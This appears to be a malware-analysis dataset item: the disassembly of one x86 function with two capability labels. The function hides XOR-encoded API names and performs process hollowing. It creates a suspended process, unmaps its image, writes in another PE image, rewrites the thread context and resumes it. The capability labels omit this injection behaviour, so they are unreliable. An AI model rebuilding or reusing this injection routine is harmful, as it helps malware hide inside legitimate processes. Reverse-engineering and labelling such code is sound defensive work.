Function at 0x402c4c
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
or al, 0xff
push ebx
sub ebx, ebx
push esi
push 1
mov dword [ebp - 0x10], 0xf0ecfbf5
mov dword [ebp - 0xc], 0xacadf2fb
mov dword [ebp - 8], 0xf2f2fab0
mov byte [ebp - 4], bl
mov dword [ebp - 0x24], 0xf2faeaf0
mov dword [ebp - 0x20], 0xf2fab0f2
mov word [ebp - 0x1c], 0xf2
mov word [ebp - 0x70], 0xecdd
mov byte [ebp - 0x6e], 0xfb
mov byte [ebp - 0x6d], al
mov dword [ebp - 0x6c], 0xeccefbea
mov dword [ebp - 0x68], 0xedfbfdf1
mov word [ebp - 0x64], 0xdfed
mov byte [ebp - 0x62], bl
mov dword [ebp - 0x40], 0xeaecf7c8
mov byte [ebp - 0x3c], 0xeb
mov byte [ebp - 0x3b], al
mov dword [ebp - 0x3a], 0xf2f2dff2
mov word [ebp - 0x36], 0xfdf1
mov byte [ebp - 0x34], bl
mov word [ebp - 0xac], 0xfbcc
mov byte [ebp - 0xaa], al
mov dword [ebp - 0xa9], 0xf1eccefa
mov dword [ebp - 0xa5], 0xededfbfd
mov dword [ebp - 0xa1], 0xf1f3fbd3
mov word [ebp - 0x9d], 0xe7ec
mov byte [ebp - 0x9b], bl
mov dword [ebp - 0x84], 0xcaeafbd9
mov word [ebp - 0x80], 0xecf6
mov byte [ebp - 0x7e], 0xfb
mov byte [ebp - 0x7d], al
mov dword [ebp - 0x7c], 0xf0f1ddfa
mov dword [ebp - 0x78], 0xeae6fbea
mov byte [ebp - 0x74], bl
mov dword [ebp - 0xd8], 0xf0cbead0
mov byte [ebp - 0xd4], 0xf3
mov byte [ebp - 0xd3], al
mov dword [ebp - 0xd2], 0xfbf7c8ee
mov dword [ebp - 0xce], 0xcdf8d1e9
mov dword [ebp - 0xca], 0xf7eafdfb
mov word [ebp - 0xc6], 0xf0f1
mov byte [ebp - 0xc4], bl
mov dword [ebp - 0x60], 0xeaecf7c8
mov byte [ebp - 0x5c], 0xeb
mov byte [ebp - 0x5b], al
mov dword [ebp - 0x5a], 0xf2f2dff2
mov dword [ebp - 0x56], 0xe6dbfdf1
mov byte [ebp - 0x52], bl
mov dword [ebp - 0xc0], 0xeaf7ecc9
mov dword [ebp - 0xbc], 0xf1eccefb
mov dword [ebp - 0xb8], 0xededfbfd
mov dword [ebp - 0xb4], 0xf1f3fbd3
mov word [ebp - 0xb0], 0xe7ec
mov byte [ebp - 0xae], bl
mov dword [ebp - 0x98], 0xcaeafbcd
mov word [ebp - 0x94], 0xecf6
mov byte [ebp - 0x92], 0xfb
mov byte [ebp - 0x91], al
mov dword [ebp - 0x90], 0xf0f1ddfa
mov dword [ebp - 0x8c], 0xeae6fbea
mov byte [ebp - 0x88], bl
mov dword [ebp - 0x50], 0xebedfbcc
mov dword [ebp - 0x4c], 0xf6cafbf3
mov word [ebp - 0x48], 0xfbec
mov byte [ebp - 0x46], al
mov word [ebp - 0x45], 0xfa
mov dword [ebp - 0x30], 0xeaecf7c8
mov byte [ebp - 0x2c], 0xeb
mov byte [ebp - 0x2b], al
mov dword [ebp - 0x2a], 0xfbecd8f2
mov word [ebp - 0x26], 0xfb
call dword [fcn.00401028]
mov eax, dword [ebp + 0xc]
mov ecx, 0x5a4d
cmp word [eax], cx
mov esi, 0x9e
jne 0x403176
push edi
mov edi, dword [eax + 0x3c]
add edi, eax
cmp dword [edi], 0x4550
jne 0x403175
push esi
lea eax, [ebp - 0x70]
push 0xe
push eax
call fcn.00402975
push esi
lea eax, [ebp - 0x10]
push 0xc
push eax
call fcn.00402975
add esp, 0x18
lea eax, [ebp - 0x70]
push eax
push ebx
push ebx
lea eax, [ebp - 0x10]
push eax
call dword [0x40aba8]
push eax
call dword [0x40aba4]
push 0x44
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x13c]
push ebx
push eax
call fcn.0040292a
push 0x10
lea eax, [ebp - 0xf8]
push ebx
push eax
call fcn.0040292a
add esp, 0x18
lea eax, [ebp - 0xf8]
push eax
lea eax, [ebp - 0x13c]
push eax
push ebx
push ebx
push 4
push ebx
push ebx
push ebx
push ebx
push dword [ebp + 8]
call dword [ebp - 0x14]
or eax, eax
je 0x403175
push esi
lea eax, [ebp - 0x40]
push 0xc
push eax
call fcn.00402975
add esp, 0xc
lea eax, [ebp - 0x40]
push eax
push ebx
push ebx
lea eax, [ebp - 0x10]
push eax
call dword [0x40aba8]
push eax
call dword [0x40aba4]
push 4
push 0x1000
push 4
push ebx
call eax
push esi
mov dword [ebp - 0x18], eax
mov dword [eax], 0x10007
lea eax, [ebp - 0x84]
push 0x10
push eax
call fcn.00402975
add esp, 0xc
lea eax, [ebp - 0x84]
push eax
push ebx
push ebx
lea eax, [ebp - 0x10]
push eax
call dword [0x40aba8]
push eax
call dword [0x40aba4]
push dword [ebp - 0x18]
push dword [ebp - 0xf4]
call eax
or eax, eax
je 0x403175
push esi
lea eax, [ebp - 0xac]
push 0x11
push eax
call fcn.00402975
add esp, 0xc
lea eax, [ebp - 0xac]
push eax
push ebx
push ebx
lea eax, [ebp - 0x10]
push eax
call dword [0x40aba8]
push eax
call dword [0x40aba4]
push ebx
push 4
lea ecx, [ebp - 0xe8]
push ecx
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx + 0xa4]
add ecx, 8
push ecx
push dword [ebp - 0xf8]
call eax
mov eax, dword [ebp - 0xe8]
cmp eax, dword [edi + 0x34]
jne 0x402ff9
push esi
lea eax, [ebp - 0x24]
push 9
push eax
call fcn.00402975
push esi
lea eax, [ebp - 0xd8]
push 0x14
push eax
call fcn.00402975
add esp, 0x18
lea eax, [ebp - 0xd8]
push eax
push ebx
push ebx
lea eax, [ebp - 0x24]
push eax
call dword [0x40aba8]
push eax
call dword [0x40aba4]
push dword [ebp - 0xe8]
push dword [ebp - 0xf8]
call eax
push esi
lea eax, [ebp - 0x60]
push 0xe
push eax
call fcn.00402975
add esp, 0xc
lea eax, [ebp - 0x60]
push eax
push ebx
push ebx
lea eax, [ebp - 0x10]
push eax
call dword [0x40aba8]
push eax
call dword [0x40aba4]
push 0x40
push 0x3000
push dword [edi + 0x50]
push dword [edi + 0x34]
push dword [ebp - 0xf8]
call eax
mov dword [ebp - 0xe4], eax
cmp eax, ebx
je 0x403175
push esi
lea eax, [ebp - 0xc0]
push 0x12
push eax
call fcn.00402975
add esp, 0xc
lea eax, [ebp - 0xc0]
push eax
push ebx
push ebx
lea eax, [ebp - 0x10]
push eax
call dword [0x40aba8]
push eax
call dword [0x40aba4]
push ebx
push dword [edi + 0x54]
mov dword [ebp - 0x14], eax
push dword [ebp + 0xc]
push dword [ebp - 0xe4]
push dword [ebp - 0xf8]
call eax
sub eax, eax
mov dword [ebp - 0xdc], ebx
cmp ax, word [edi + 6]
jae 0x4030e3
mov dword [ebp - 0xe0], ebx
mov ecx, dword [ebp + 0xc]
mov eax, dword [ecx + 0x3c]
add eax, dword [ebp - 0xe0]
push ebx
lea eax, [eax + ecx + 0xf8]
push dword [eax + 0x10]
mov edx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0xe4]
add edx, ecx
push edx
push eax
push dword [ebp - 0xf8]
call dword [ebp - 0x14]
movzx eax, word [edi + 6]
inc dword [ebp - 0xdc]
add dword [ebp - 0xe0], 0x28
cmp dword [ebp - 0xdc], eax
jl 0x40309a
push ebx
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
push dword [ebp - 0xf8]
call dword [ebp - 0x14]
mov eax, dword [edi + 0x28]
add eax, dword [ebp - 0xe4]
mov edi, dword [ebp - 0x18]
push esi
mov dword [edi + 0xb0], eax
lea eax, [ebp - 0x98]
push 0x10
push eax
call fcn.00402975
add esp, 0xc
lea eax, [ebp - 0x98]
push eax
push ebx
push ebx
lea eax, [ebp - 0x10]
push eax
call dword [0x40aba8]
push eax
call dword [0x40aba4]
push edi
push dword [ebp - 0xf4]
call eax
push esi
lea eax, [ebp - 0x50]
push 0xc
push eax
call fcn.00402975
add esp, 0xc
lea eax, [ebp - 0x50]
push eax
push ebx
push ebx
lea eax, [ebp - 0x10]
push eax
call dword [0x40aba8]
push eax
call dword [0x40aba4]
push dword [ebp - 0xf4]
call eax
pop edi
push esi
lea eax, [ebp - 0x30]
push 0xb
push eax
call fcn.00402975
add esp, 0xc
lea eax, [ebp - 0x30]
push eax
push ebx
push ebx
lea eax, [ebp - 0x10]
push eax
call dword [0x40aba8]
push eax
call dword [0x40aba4]
push 0x8000
push ebx
push dword [ebp + 0xc]
call eax
pop esi
pop ebx
leave
ret